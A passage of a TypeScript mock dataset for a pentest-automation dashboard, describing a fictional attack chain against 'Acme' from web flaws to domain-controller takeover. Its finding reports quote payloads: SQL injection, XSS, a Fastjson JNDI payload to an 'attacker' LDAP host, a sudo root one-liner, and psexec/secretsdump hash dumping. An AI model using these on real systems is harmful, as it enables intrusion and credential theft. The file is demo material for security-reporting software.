Files
artex/web/src/lib/mock/data.ts
T
dela 97668dab7e
ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
detections / detections (push) Waiting to run
docs / links (push) Waiting to run
web / web (push) Waiting to run
Localize user-facing UI, agent output, and backend messages to Simplified Chinese
2026-10-09 14:08:31 +08:00

4310 lines
134 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
// sessions/activity, traffic, agents, etc.) so every page looks populated.
import type {
Activity,
Agent,
AgentDetail,
Asset,
Audit,
Company,
Conversation,
ConvTokenSummary,
DailyTokenBucket,
Edge,
Finding,
FindingAsset,
InterceptApprovalRow,
InterceptAudit,
InterceptPending,
InterceptRule,
LLMPoolStatus,
LLMProfile,
LLMTask,
MCPServer,
MCPTool,
MissingSkill,
PromptVar,
PromptVersion,
SessionTokenUsage,
Settings,
SkillCall,
SkillItem,
Stats,
Task,
TaskCategory,
TaskNode,
TaskTemplate,
TokenTotal,
TokenUsage,
Tool,
TrafficDetail,
TrafficHost,
TrafficResp,
} from "@/lib/types";
const T = (iso: string) => iso; // readability helper for timestamps
// ── Tasks ──────────────────────────────────────────────────────────────────
export const ACTIVE_TASK = "t-acme-web";
export const tasks: Task[] = [
{
id: "t-acme-web",
category_id: 1,
category_name: "外部评估",
description: "Acme 官网·管理员后台外部渗透 (acme.com)",
goal: "获取 acme.com 后台管理员权限,并确认能否读取用户敏感数据。",
status: "running",
created_at: T("2026-07-24T09:12:00Z"),
created_unix: 1785489120,
last_activity: T("2026-07-26T03:58:22Z"),
last_activity_unix: 1785643102,
paused: false,
active: true,
in_flight: 3,
findings: { critical: 1, high: 2, medium: 1, low: 0 },
stalled: false,
goals_total: 5,
goals_met: 2,
engine_mode: "exploring",
llm_profile_id: 1,
llm_profile_ids: [1, 2],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: [],
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
},
{
id: "t-acme-api",
category_id: 2,
category_name: "API 专项",
description: "api.acme.com 权限绕过·注入测试",
goal: "评估 api.acme.com 订单/用户端点的权限绕过(IDOR)·注入风险。",
status: "running",
created_at: T("2026-07-25T14:05:00Z"),
created_unix: 1785592500,
last_activity: T("2026-07-26T03:40:10Z"),
last_activity_unix: 1785642010,
paused: false,
active: false,
in_flight: 2,
findings: { critical: 0, high: 1, medium: 1, low: 0 },
stalled: false,
goals_total: 4,
goals_met: 1,
engine_mode: "exploring",
llm_profile_id: 1,
llm_profile_ids: [1, 2],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: ["t-acme-web"],
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
},
{
id: "t-shop-pay",
category_id: 2,
category_name: "API 专项",
description: "shop.acme.com 支付·订单路径",
goal: "评估支付·订单端点的权限绕过、金额篡改、竞争条件风险。",
status: "paused",
created_at: T("2026-07-22T08:30:00Z"),
created_unix: 1785313800,
last_activity: T("2026-07-23T18:40:10Z"),
last_activity_unix: 1785436810,
paused: true,
active: false,
in_flight: 0,
stalled: false,
goals_total: 4,
goals_met: 1,
engine_mode: "paused",
llm_profile_id: 2,
llm_profile_ids: [2, 1],
active_llm_profile_id: 2,
llm_failover_state: "ready",
source_task_ids: ["t-acme-web", "t-acme-api"],
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
},
{
id: "t-vpn-edge",
category_id: 1,
category_name: "外部评估",
description: "外部暴露面侦察 (VPN / 边界服务)",
goal: "识别 acme.com 对外暴露、可被利用的边界服务。",
status: "done",
created_at: T("2026-07-18T08:00:00Z"),
created_unix: 1784966400,
completed_at: T("2026-07-20T22:11:00Z"),
completed_unix: 1785190260,
last_activity: T("2026-07-20T22:11:00Z"),
last_activity_unix: 1785190260,
paused: false,
active: false,
in_flight: 0,
stalled: false,
goals_total: 3,
goals_met: 3,
engine_mode: "idle",
llm_profile_id: 1,
llm_profile_ids: [1],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: [],
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
},
];
export const taskCategories: TaskCategory[] = [
{
id: 1,
name: "外部评估",
task_count: 2,
created_at: T("2026-07-18T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
name: "API 专项",
task_count: 2,
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
},
];
export const taskTemplates: TaskTemplate[] = [
{
id: 1,
name: "外部 Web 渗透",
description:
"对目标的互联网暴露面执行黑盒渗透测试,覆盖站点·端点·常见管理员入口。",
goal: "识别并验证可能导致未授权访问、敏感数据泄露、服务器失陷的安全问题。",
created_at: T("2026-07-20T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
name: "API 权限绕过专项",
description: "围绕目标 API 的身份认证、对象级授权、角色边界执行专项测试。",
goal: "确认是否存在 IDOR、水平权限绕过、垂直权限绕过、批量数据访问风险。",
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
},
];
export const getTask = (id: string) => tasks.find((t) => t.id === id);
const grandTotal: TokenTotal = tasks.reduce(
(a, t) => ({
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
}),
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
);
// ── Stats ──────────────────────────────────────────────────────────────────
export function stats(
taskId?: string,
state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {},
): Stats & { active_task?: unknown } {
const taskList = state.tasks ?? tasks;
const findingList = state.findings ?? findings;
const base: Stats = {
assets: assets.length,
engine_mode: "exploring",
llm_configured: true,
roe_enabled: true,
findings_confirmed: findingList.filter((f) => f.severity !== "low").length,
};
const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK;
const t = taskList.find((item) => item.id === selectedTaskID);
if (!t) return base;
return {
...base,
engine_mode: t.engine_mode ?? "idle",
findings_confirmed: findingList.filter((f) => f.task_id === t.id).length,
active_task: {
id: t.id,
in_flight: t.in_flight,
goals_total: t.goals_total,
goals_met: t.goals_met,
engine_mode: t.engine_mode,
paused: t.paused,
},
};
}
// ── Company + Assets (new unified model) ─────────────────────────────────────
export const companies: Company[] = [
{
id: 1,
name: "Acme Corp",
logo: "",
asset_count: 18,
scope: [
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域名" },
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
],
},
];
export const assets: Asset[] = [
{
id: 1,
type: "root_domain",
company_id: 1,
task_ids: [1],
domain: "acme.com",
root_domain: "acme.com",
icp: "ICP-2021-XXXX",
record_type: "A",
record_value: ["203.0.113.10"],
last_seen: T("2026-07-26T02:00:00Z"),
},
{
id: 2,
type: "subdomain",
company_id: 1,
task_ids: [1],
domain: "www.acme.com",
root_domain: "acme.com",
record_type: "CNAME",
record_value: "acme.com",
last_seen: T("2026-07-26T02:01:00Z"),
},
{
id: 3,
type: "subdomain",
company_id: 1,
task_ids: [2],
domain: "api.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.11"],
last_seen: T("2026-07-26T02:02:00Z"),
},
{
id: 4,
type: "subdomain",
company_id: 1,
task_ids: [3],
domain: "shop.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.12"],
last_seen: T("2026-07-26T02:03:00Z"),
},
{
id: 5,
type: "subdomain",
company_id: 1,
task_ids: [4],
domain: "vpn.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["198.51.100.20"],
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 6,
type: "subdomain",
company_id: 1,
task_ids: [1],
domain: "admin.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.10"],
last_seen: T("2026-07-26T02:04:00Z"),
},
{
id: 7,
type: "ip",
company_id: 1,
task_ids: [1, 2],
ip: "203.0.113.10",
c_segment: "203.0.113.0",
open_ports: [
{ port: 80, service: "http" },
{ port: 443, service: "https" },
{ port: 22, service: "ssh" },
],
last_seen: T("2026-07-26T02:05:00Z"),
},
{
id: 8,
type: "ip",
company_id: 1,
task_ids: [2],
ip: "203.0.113.11",
c_segment: "203.0.113.0",
open_ports: [{ port: 443, service: "https" }],
last_seen: T("2026-07-26T02:06:00Z"),
},
{
id: 9,
type: "ip",
company_id: 1,
task_ids: [4],
ip: "198.51.100.20",
c_segment: "198.51.100.0",
open_ports: [
{ port: 443, service: "https" },
{ port: 500, service: " isakmp" },
],
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 10,
type: "service",
company_id: 1,
task_ids: [1],
ip: "203.0.113.10",
port: 443,
service_type: "https",
service_name: "nginx/1.24.0",
last_seen: T("2026-07-26T02:07:00Z"),
},
{
id: 11,
type: "service",
company_id: 1,
task_ids: [4],
ip: "198.51.100.20",
port: 22,
service_type: "ssh",
service_name: "OpenSSH 8.9p1",
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 12,
type: "app",
company_id: 1,
task_ids: [1],
url: "https://www.acme.com",
app_name: "Acme 官网",
category: "corp",
status_code: 200,
content_length: 48213,
page_title: "Acme Corp - 企业站点",
technologies: ["Nginx", "React", "Cloudflare"],
favicon_mmh3: "-1580860059",
last_seen: T("2026-07-26T02:08:00Z"),
},
{
id: 13,
type: "app",
company_id: 1,
task_ids: [1],
url: "https://admin.acme.com",
app_name: "管理员后台",
category: "admin",
status_code: 200,
content_length: 12044,
page_title: "Acme Admin 登录",
technologies: ["Nginx", "Vue", "Element-UI"],
last_seen: T("2026-07-26T02:09:00Z"),
},
{
id: 14,
type: "app",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com",
app_name: "REST API",
category: "api",
status_code: 401,
content_length: 45,
page_title: "",
technologies: ["Kong", "Node.js"],
last_seen: T("2026-07-26T02:10:00Z"),
},
{
id: 15,
type: "endpoint",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com/v1/orders",
method: "GET",
status_code: 200,
params: [
{ name: "id", in: "query" },
{ name: "page", in: "query" },
],
last_seen: T("2026-07-26T02:11:00Z"),
},
{
id: 16,
type: "endpoint",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com/v1/users/me",
method: "GET",
status_code: 200,
last_seen: T("2026-07-26T02:12:00Z"),
},
{
id: 17,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "https://admin.acme.com/login",
method: "POST",
status_code: 200,
params: [{ name: "username" }, { name: "password" }],
last_seen: T("2026-07-26T02:13:00Z"),
},
{
id: 18,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "https://www.acme.com/search",
method: "GET",
status_code: 200,
params: [{ name: "q", in: "query" }],
last_seen: T("2026-07-26T02:14:00Z"),
},
// 内网资产(DMZ→内网横向发现)
{
id: 19,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.0.20.15",
c_segment: "10.0.20.0",
open_ports: [
{ port: 80, service: "http" },
{ port: 22, service: "ssh" },
],
last_seen: T("2026-07-25T15:40:00Z"),
},
{
id: 20,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.10",
c_segment: "10.10.10.0",
open_ports: [
{ port: 88, service: "kerberos" },
{ port: 389, service: "ldap" },
{ port: 445, service: "smb" },
],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 21,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.5",
c_segment: "10.10.10.0",
open_ports: [{ port: 445, service: "smb" }],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 22,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.20",
c_segment: "10.10.10.0",
open_ports: [{ port: 8080, service: "http-proxy" }],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 23,
type: "service",
company_id: 1,
task_ids: [1],
ip: "10.10.10.20",
port: 8080,
service_type: "http",
service_name: "Jenkins 2.289",
last_seen: T("2026-07-25T21:35:00Z"),
},
{
id: 24,
type: "service",
company_id: 1,
task_ids: [1],
ip: "10.10.10.10",
port: 445,
service_type: "smb",
service_name: "Windows Server 2019 DC",
last_seen: T("2026-07-25T23:55:00Z"),
},
{
id: 25,
type: "app",
company_id: 1,
task_ids: [1],
url: "http://10.10.10.20:8080",
app_name: "Jenkins (内网)",
category: "ci",
status_code: 200,
content_length: 14200,
page_title: "Jenkins Dashboard",
technologies: ["Jenkins", "Java"],
last_seen: T("2026-07-25T21:35:00Z"),
},
{
id: 26,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "http://10.10.10.20:8080/script",
method: "GET",
status_code: 200,
last_seen: T("2026-07-25T21:35:00Z"),
},
];
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
m[a.type] = (m[a.type] ?? 0) + 1;
return m;
}, {});
// assetRef 把资产 id 变成 finding 上挂的资产引用(label 与后端 coverageNodeLabel
// 的取值顺序一致:URL > 域名 > IP > 应用名)。「按资产」视图的树就是靠这些引用
// 把发现挂到资产上的。
function assetRef(id: number): FindingAsset {
const asset = assets.find((candidate) => candidate.id === id);
if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`);
return {
id: String(id),
type: asset.type,
label: asset.url || asset.domain || asset.ip || asset.app_name || String(id),
};
}
// ── Findings ─────────────────────────────────────────────────────────────────
export const findings: Finding[] = [
{
id: "f-1",
assets: [assetRef(18)],
vulnclass: "SQL Injection",
name: "官网搜索端点的报错型 SQL 注入",
severity: "high",
status: "pending",
report:
'## 漏洞概述\n\n`www.acme.com/search` 的 `q` 参数存在**报错型 SQL 注入**(MSSQL),可读取数据库版本、结构乃至敏感数据。\n\n## 影响\n\n- 可读取 `acme_prod` 数据库的表结构以及用户/订单数据\n- 错误信息直接暴露,可快速构造利用,风险较高\n\n## 复现步骤\n\n1. 触发报错型注入:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 响应中暴露 MSSQL 版本错误,确认注入可行\n3. 进一步枚举数据库:`sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 处置建议\n\n- 将所有查询改为参数化查询/预编译语句,消除字符串拼接\n- 关闭生产环境的详细错误输出\n- 最小化数据库账号权限,并禁用 `xp_cmdshell` 等危险扩展\n',
summary: "www.acme.com/search 的 q 参数存在报错型 SQL 注入",
evidence:
"GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本错误信息,可读取数据库结构。",
intent_id: "i-2",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T01:20:00Z"),
},
{
id: "f-2",
assets: [assetRef(15)],
vulnclass: "IDOR",
severity: "high",
status: "pending",
summary: "api.acme.com/v1/orders?id= 可绕过权限查阅他人订单",
evidence: "将 id=1001 改为 id=1002 即返回他人订单(含收货地址·手机号),且无属主校验。",
intent_id: "i-5",
task_id: "t-acme-api",
task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-26T02:44:00Z"),
},
{
id: "f-3",
assets: [assetRef(3)],
vulnclass: "Weak JWT",
severity: "high",
status: "pending",
summary: "API JWT 使用弱密钥,可离线破解·伪造",
evidence: "HS256,密钥 'secret',用 john 5 秒即破解 → 可伪造任意 sub 绕过权限。",
task_id: "t-acme-api",
task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-26T03:02:00Z"),
},
{
id: "f-4",
assets: [assetRef(18)],
vulnclass: "Reflected XSS",
severity: "medium",
status: "pending",
summary: "搜索页未对 q 参数转义,导致反射型 XSS",
evidence: "q=<script>alert(document.domain)</script> 会原样出现在结果标题中。",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T22:10:00Z"),
},
{
id: "f-5",
assets: [assetRef(2)],
vulnclass: "Exposed .git",
severity: "medium",
status: "pending",
summary: "www.acme.com 暴露 .git 目录,可还原源码",
evidence: "GET /.git/HEAD → 200;用 git-dumper 还原了后端源码及数据库连接串注释。",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "f-6",
assets: [assetRef(17)],
vulnclass: "Default Credentials",
severity: "high",
status: "pending",
summary: "admin.acme.com 管理员后台使用默认口令 admin/admin123",
evidence: "登录成功并进入管理员后台,可管理用户与订单。",
intent_id: "i-3",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T03:50:00Z"),
},
{
id: "f-7",
assets: [assetRef(17)],
vulnclass: "Open Redirect",
severity: "low",
status: "pending",
summary: "登录后可通过 next 参数重定向到任意地址",
evidence: "/login?next=https://evil.example 登录后会 302 跳转到外部站点。",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T19:12:00Z"),
},
{
id: "f-8",
assets: [assetRef(17)],
vulnclass: "Missing Rate Limit",
severity: "medium",
status: "pending",
summary: "登录端点无限速,可进行暴力破解",
evidence: "每分钟发送 1,000 次也不会锁定,且没有验证码。",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T18:40:00Z"),
},
{
id: "f-9",
assets: [assetRef(16)],
vulnclass: "Verbose Error",
severity: "low",
status: "pending",
summary: "API 在 500 错误中返回堆栈跟踪,泄露路径与框架版本",
evidence: "触发 500 错误会返回 Node.js 堆栈跟踪,泄露绝对路径与依赖版本。",
task_id: "t-acme-api",
task_description: "api.acme.com 权限绕过·注入测试",
ts: T("2026-07-25T23:05:00Z"),
},
{
id: "f-10",
assets: [assetRef(4)],
vulnclass: "Outdated Component",
severity: "medium",
status: "pending",
summary: "shop 使用存在已知 RCE 的旧版组件",
evidence: "通过指纹识别出组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。",
task_id: "t-shop-pay",
task_description: "shop.acme.com 支付·订单路径",
ts: T("2026-07-23T15:00:00Z"),
},
// ── 外网→内网纵深链路上的高危发现(active task)──
{
id: "f-11",
vulnclass: "Hardcoded Credentials",
severity: "high",
status: "pending",
summary: "泄露的源码中硬编码了数据库凭据 sa/Acme@2021",
evidence:
"用 git-dumper 还原 www.acme.com/.git 获得 config.php,内含明文数据库口令,后续确认可在内网复用。",
intent_id: "ig",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T20:36:00Z"),
},
{
id: "f-12",
assets: [assetRef(4)],
vulnclass: "Deserialization RCE",
name: "shop 商城 Fastjson 反序列化远程命令执行",
severity: "critical",
status: "confirmed",
report:
'## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 端点使用 **Fastjson 1.2.24** 解析用户可控的 JSON,且未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 若再结合提权,即可成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 目标回调 dnslog 并反弹 shell\n\n## 处置建议\n\n- 将 Fastjson 升级到 **1.2.83+** 并开启 `safeMode`\n- 为 `/api/import` 增加认证与来源校验\n- 限制出站:禁止业务服务器主动通过 LDAP/RMI 向外连接\n',
summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行",
evidence:
"向 POST /api/import 发送 JNDI payload(@type:JdbcRowSetImpl) → dnslog 收到回调并反弹 shell(www-data@dmz-web01)。",
intent_id: "i7",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "f-13",
assets: [assetRef(19)],
vulnclass: "Privilege Escalation",
severity: "high",
status: "pending",
summary: "DMZ 据点因 sudo NOPASSWD 配置错误可实现本地提权(root)",
evidence:
"sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → 用 sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 即可直接获得 root。",
intent_id: "i8",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "f-14",
assets: [assetRef(19), assetRef(21)],
vulnclass: "Network Segmentation",
severity: "medium",
status: "pending",
summary: "DMZ 主机以双网卡直连内网,导致边界隔离失效",
evidence:
"dmz-web01 的第二块网卡位于 10.10.10.0/24,可从 DMZ 直接访问域控制器/文件服务器/Jenkins,绕过网络分段。",
intent_id: "i9",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T21:00:00Z"),
},
{
id: "f-15",
assets: [assetRef(26)],
vulnclass: "Unauthenticated RCE",
severity: "high",
status: "pending",
summary: "内网 Jenkins 未授权 Script Console 远程命令执行",
evidence:
"通过 GET /script 无需登录执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库提取域账号 acme\\svc_deploy。",
intent_id: "i11",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T21:50:00Z"),
},
{
id: "f-16",
assets: [assetRef(21)],
vulnclass: "Kerberoasting",
severity: "high",
status: "pending",
summary: "域服务账号 svc_sql 可被 Kerberoast 且口令较弱",
evidence:
"用 GetUserSPNs 请求 svc_sql 的 TGS,再以 hashcat -m 13100 离线破解出 Sql@2020。该账号属于 SQL 管理组。",
intent_id: "i12",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-25T23:20:00Z"),
},
{
id: "f-17",
assets: [assetRef(20)],
vulnclass: "Domain Compromise",
name: "内网域控制器 DC01 被完全控制(Domain Admin)",
severity: "critical",
status: "confirmed",
report:
"## 漏洞概述\n\n先通过外网 Fastjson RCE 在 DMZ 建立落脚点,再经 sudo 提权·双网卡穿透·Jenkins 未授权 RCE 获取域账号 `svc_deploy`。该账号属于 **Domain Admins**,最终完全控制了域控制器 **DC01**。\n\n## 影响\n\n- 取得域管理员权限,可控制整个域的主机与账号\n- 用 `secretsdump` 导出整个域的 NTLM 哈希(含 `krbtgt`),制作黄金票据实现长期潜伏\n- 内网目标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 取得 DC01 的 SYSTEM 权限并导出域内全部哈希\n\n## 处置建议\n\n- 收缩服务账号权限并将其移出 Domain Admins,实施分层管理(tiering)\n- 连续两次重置 `krbtgt`,并将服务账号更换为强口令\n- 修复 DMZ→内网边界隔离以及前述 RCE/提权链\n",
summary: "控制域控制器 DC01(Domain Admin):内网目标达成",
evidence:
"svc_deploy 属于 Domain Admins,用 psexec.py 登录 DC01 获得 SYSTEM,并以 secretsdump 导出整个域的 NTLM 哈希(含 krbtgt),完成目标控制。",
intent_id: "i13",
task_id: "t-acme-web",
task_description: "Acme 官网·管理员后台外部渗透",
ts: T("2026-07-26T00:20:00Z"),
},
];
// ── Exploration graph (active task) ──────────────────────────────────────────
// 现行模型:根是 fact/state=origin(渲染为「起点」);payload 为 JSON 字符串,
// goal 取 text、其余取 summary。结构:根→目标(spawns)→意图(spawns)→事实/漏洞(yields),
// 漏洞→目标(proves),提示→意图(derived_from)。
const P = (o: Record<string, string>) => JSON.stringify(o);
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
nodes: [
{
id: "root",
type: "fact",
payload: P({ summary: "根目标:acme.com 外网→内网纵深渗透" }),
priority: 0,
state: "origin",
origin: "system",
ts: T("2026-07-24T09:12:00Z"),
},
// ── 目标(由 goals agent 拆解,随发现逐步加码到内网靶标)──
{
id: "g1",
type: "goal",
payload: P({ text: "获取 acme.com 管理员后台权限" }),
priority: 9,
state: "met",
origin: "goals",
ts: T("2026-07-24T09:13:00Z"),
},
{
id: "g2",
type: "goal",
payload: P({ text: "查阅用户敏感数据" }),
priority: 8,
state: "open",
origin: "goals",
ts: T("2026-07-24T09:13:00Z"),
},
{
id: "g3",
type: "goal",
payload: P({ text: "从外网突破 DMZ,取得内网据点" }),
priority: 9,
state: "met",
origin: "goals",
ts: T("2026-07-25T14:10:00Z"),
},
{
id: "g4",
type: "goal",
payload: P({ text: "内网横向移动,控制内网目标域控制器 DC01" }),
priority: 10,
state: "met",
origin: "goals",
ts: T("2026-07-25T20:00:00Z"),
},
// ── 第 1 层 · 外网侦察 / 外部漏洞 ──
{
id: "i1",
type: "intent",
payload: P({ summary: "acme.com 子域名枚举与端口扫描" }),
priority: 6,
state: "done",
origin: "planner",
ts: T("2026-07-24T09:20:00Z"),
},
{
id: "i2",
type: "intent",
payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-26T03:30:00Z"),
},
{
id: "i3",
type: "intent",
payload: P({ summary: "枚举后台功能与用户数据端点" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T03:55:00Z"),
},
{
id: "i4",
type: "intent",
payload: P({ summary: "www.acme.com/search 页面 SQL 注入检测" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T22:00:00Z"),
},
{
id: "i5",
type: "intent",
payload: P({ summary: "api.acme.com 订单端点权限绕过(IDOR)测试" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T02:30:00Z"),
},
{
id: "ig",
type: "intent",
payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }),
priority: 7,
state: "done",
origin: "planner",
ts: T("2026-07-25T20:20:00Z"),
},
// ── 第 2 层 · 突破 DMZ 建立立足点 ──
{
id: "i6",
type: "intent",
payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }),
priority: 7,
state: "done",
origin: "planner",
ts: T("2026-07-25T14:20:00Z"),
},
{
id: "i7",
type: "intent",
payload: P({ summary: "触发 shop 反序列化 RCE,获取反弹 shell" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-25T15:10:00Z"),
},
{
id: "i8",
type: "intent",
payload: P({ summary: "DMZ 据点本地信息收集与 root 提权" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T16:00:00Z"),
},
// ── 第 3 层 · 内网横向纵深(多层测试)──
{
id: "i9",
type: "intent",
payload: P({ summary: "以据点为跳板发现内网主机" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "i10",
type: "intent",
payload: P({ summary: "内网凭据复用与密码喷洒" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T03:40:00Z"),
},
{
id: "i11",
type: "intent",
payload: P({ summary: "内网 Jenkins 未授权 Groovy 脚本执行(RCE)" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-25T21:30:00Z"),
},
{
id: "i12",
type: "intent",
payload: P({ summary: "针对域服务账号的 Kerberoasting 与离线破解" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T22:40:00Z"),
},
{
id: "i13",
type: "intent",
payload: P({ summary: "使用域管理员凭据登录并控制域控制器 DC01" }),
priority: 10,
state: "done",
origin: "planner",
ts: T("2026-07-25T23:50:00Z"),
},
// ── 事实 ──
{
id: "fa1",
type: "fact",
payload: P({ summary: "发现子域名 admin.acme.com(Element-UI 后台)" }),
priority: 0,
state: "open",
origin: "work#1",
ts: T("2026-07-24T09:40:00Z"),
},
{
id: "fa2",
type: "fact",
payload: P({ summary: "search 页面 q 参数为报错型注入点(MSSQL)" }),
priority: 0,
state: "open",
origin: "work#4",
ts: T("2026-07-25T22:05:00Z"),
},
{
id: "faGit",
type: "fact",
payload: P({ summary: ".git 可下载,用 git-dumper 还原后端源码" }),
priority: 0,
state: "open",
origin: "workG",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "faCreds",
type: "fact",
payload: P({ summary: "源码 config.php 中硬编码数据库口令 sa / Acme@2021(推测为内网通用)" }),
priority: 0,
state: "open",
origin: "workG",
ts: T("2026-07-25T20:35:00Z"),
},
{
id: "fa3",
type: "fact",
payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }),
priority: 0,
state: "open",
origin: "work#6",
ts: T("2026-07-25T14:40:00Z"),
},
{
id: "fa4",
type: "fact",
payload: P({ summary: "反弹 shell 成功:www-data@dmz-web01(10.0.20.15),位于 DMZ 网段" }),
priority: 0,
state: "open",
origin: "work#7",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "fa5",
type: "fact",
